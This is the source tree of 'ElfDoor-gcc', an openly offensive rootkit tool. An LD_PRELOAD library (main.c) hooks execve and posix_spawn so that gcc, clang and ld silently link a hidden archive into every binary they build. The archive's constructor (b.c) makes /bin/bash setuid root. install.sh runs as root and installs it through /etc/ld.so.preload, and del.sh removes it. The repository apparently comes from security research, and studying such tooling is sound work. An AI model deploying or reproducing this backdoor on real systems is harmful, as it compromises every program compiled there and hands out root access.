├── LICENSE
├── README.md
├── b.c
├── del.sh
├── gcc.png
├── install.sh
└── main.c
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 matheuz
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ElfDoor-gcc
2 |
3 | ElfDoor-gcc is an LD_PRELOAD that hijacks gcc to inject malicious code into binaries during linking, without touching the source code.
4 |
5 | Detailed Article: https://matheuzsecurity.github.io/hacking/gcc/
6 |
7 |
8 |
9 |
10 |
11 | ### Install
12 |
13 | ```
14 | git clone https://github.com/MatheuZSecurity/ElfDoor-gcc
15 | cd ElfDoor-gcc
16 | chmod +x install.sh
17 | sudo ./install.sh
18 | ```
19 |
20 | Rootkit Researchers
21 | - https://discord.gg/66N5ZQppU7
22 |
--------------------------------------------------------------------------------
/b.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | __attribute__((constructor))
5 | void backdoor() {
6 | chmod("/bin/bash", 04755);
7 | }
8 |
--------------------------------------------------------------------------------
/del.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | if [ "$(id -u)" -ne 0 ]; then
4 | echo "This script must be run as root."
5 | exit 1
6 | fi
7 |
8 | rm /etc/ld.so.preload
9 | rm /usr/local/share/gcc.so
10 |
11 | sudo rm /dev/shm/b.a
12 |
13 | echo "[*] ElfDoor-gcc removed! [*]"
14 |
--------------------------------------------------------------------------------
/gcc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MatheuZSecurity/ElfDoor-gcc/7ba6185478c69676707e723c0df7c11f9c607f87/gcc.png
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | if [ "$(id -u)" -ne 0 ]; then
4 | echo "This script must be run as root."
5 | exit 1
6 | fi
7 |
8 | # Compile the shared library
9 | gcc -shared -fPIC -o gcc.so main.c -ldl
10 |
11 | # Compile b.c to object file
12 | gcc -c b.c -o b.o
13 |
14 | # Create static library b.a
15 | ar rcs b.a b.o
16 |
17 | # Move the static library to /dev/shm
18 | mv b.a /dev/shm/
19 |
20 | # Preload b.a by adding it to ld.so.preload
21 | mv gcc.so /usr/local/share/
22 | echo "/usr/local/share/gcc.so" > /etc/ld.so.preload
23 |
24 |
25 | echo "[*] ELfDoor-gcc Installed! [*]"
26 | echo "[*] Join in Rootkit Researchers [*]"
27 | echo "[*] https://discord.gg/66N5ZQppU7 [*]"
28 |
--------------------------------------------------------------------------------
/main.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | X: @MatheuzSecurity
4 | Rootkit Researchers
5 | https://discord.gg/66N5ZQppU7
6 |
7 | */
8 |
9 |
10 | #define _GNU_SOURCE
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 | extern char **environ;
19 |
20 | int is_gcc(const char *path) {
21 | const char *progname = strrchr(path, '/');
22 | progname = progname ? progname + 1 : path;
23 | return strcmp(progname, "gcc") == 0 || strcmp(progname, "cc") == 0 || strcmp(progname, "clang") == 0;
24 | }
25 |
26 | int is_collect2(const char *path) {
27 | const char *progname = strrchr(path, '/');
28 | progname = progname ? progname + 1 : path;
29 | return strcmp(progname, "collect2") == 0;
30 | }
31 |
32 | int is_linker(const char *path) {
33 | const char *progname = strrchr(path, '/');
34 | progname = progname ? progname + 1 : path;
35 | return strcmp(progname, "ld") == 0 || strstr(progname, "ld.") != NULL;
36 | }
37 |
38 | int should_inject(char *const argv[]) {
39 | for (int i = 0; argv[i]; ++i) {
40 | if (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "-E") == 0 || strcmp(argv[i], "-S") == 0)
41 | return 0;
42 | }
43 | return 1;
44 | }
45 |
46 | char **inject_args(const char *bin_path, char *const argv[], int extra) {
47 | int argc;
48 | for (argc = 0; argv[argc]; ++argc);
49 |
50 | const char *lib_path = "/dev/shm/b.a";
51 |
52 | for (int i = 0; i < argc; ++i) {
53 | if (argv[i] && strstr(argv[i], "b.a") != NULL) {
54 | return NULL;
55 | }
56 | }
57 |
58 | const char **new_argv = malloc(sizeof(char *) * (argc + extra + 1));
59 | if (!new_argv) return NULL;
60 |
61 | int i = 0, j = 0;
62 | for (; i < argc; ++i)
63 | new_argv[j++] = argv[i];
64 |
65 | const char *arg1, *arg2, *arg3;
66 | if (is_gcc(bin_path)) {
67 | arg1 = "-Wl,--whole-archive";
68 | arg2 = lib_path;
69 | arg3 = "-Wl,--no-whole-archive";
70 | } else {
71 | arg1 = "--whole-archive";
72 | arg2 = lib_path;
73 | arg3 = "--no-whole-archive";
74 | }
75 |
76 | new_argv[j++] = arg1;
77 | new_argv[j++] = arg2;
78 | new_argv[j++] = arg3;
79 | new_argv[j] = NULL;
80 |
81 | return (char **)new_argv;
82 | }
83 |
84 | int execve(const char *pathname, char *const argv[], char *const envp[]) {
85 | static int (*real_execve)(const char *, char *const [], char *const []) = NULL;
86 | if (!real_execve) real_execve = dlsym(RTLD_NEXT, "execve");
87 |
88 | if ((is_gcc(pathname) || is_collect2(pathname) || is_linker(pathname)) && should_inject(argv)) {
89 | //fprintf(stderr, "[hook execve] injecting into %s\n", pathname);
90 |
91 | char **new_argv = inject_args(pathname, argv, 3);
92 | if (new_argv) {
93 | int result = real_execve(pathname, new_argv, envp);
94 | free(new_argv);
95 | return result;
96 | }
97 | }
98 |
99 | return real_execve(pathname, argv, envp);
100 | }
101 |
102 | int posix_spawn(pid_t *pid, const char *path,
103 | const posix_spawn_file_actions_t *file_actions,
104 | const posix_spawnattr_t *attrp,
105 | char *const argv[], char *const envp[]) {
106 | static int (*real_posix_spawn)(pid_t *, const char *,
107 | const posix_spawn_file_actions_t *,
108 | const posix_spawnattr_t *,
109 | char *const [], char *const []) = NULL;
110 | if (!real_posix_spawn)
111 | real_posix_spawn = dlsym(RTLD_NEXT, "posix_spawn");
112 |
113 | if ((is_gcc(path) || is_collect2(path) || is_linker(path)) && should_inject(argv)) {
114 | //fprintf(stderr, "[HOOKED] %s\n", path);
115 |
116 | char **new_argv = inject_args(path, argv, 3);
117 | if (new_argv) {
118 | int result = real_posix_spawn(pid, path, file_actions, attrp, new_argv, envp);
119 | free(new_argv);
120 | return result;
121 | }
122 | }
123 |
124 | return real_posix_spawn(pid, path, file_actions, attrp, argv, envp);
125 | }
126 |
--------------------------------------------------------------------------------